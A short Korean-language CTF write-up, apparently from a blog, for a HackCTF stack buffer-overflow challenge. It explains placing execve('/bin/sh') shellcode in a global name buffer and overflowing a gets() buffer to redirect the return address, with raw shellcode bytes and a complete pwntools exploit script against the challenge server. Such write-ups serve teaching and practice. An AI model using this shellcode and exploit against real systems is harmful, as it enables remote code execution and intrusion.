read 함수로 &name에 0x32만큼 입력받고
gets로 &s 를 20(ebp-14h = 20) 만큼입력받는다
name에 쉘코드를 넣어주고 s에서 bof를 발생시켜 ret주소를 name으로 바꿔주면 풀리는 문제이다
사용할 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0x0804A060
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3003)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
p.recvuntil("Name : ")
p.send(shellcode)
pay = "\x90"*24 + "\x60\xA0\x04\x08"
p.recvuntil("input : ")
p.send(pay)
p.interactive()
'Write-Up > HackCTF' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF (0) | 2021.05.16 |
---|---|
[HackCTF] x64 Buffer Overflow (0) | 2021.05.16 |
[HackCTF] Basic_FSB (0) | 2021.05.15 |
[HackCTF] Basic_BOF #2 (0) | 2021.05.15 |
[HackCTF] Basic_BOF #1 (0) | 2021.05.15 |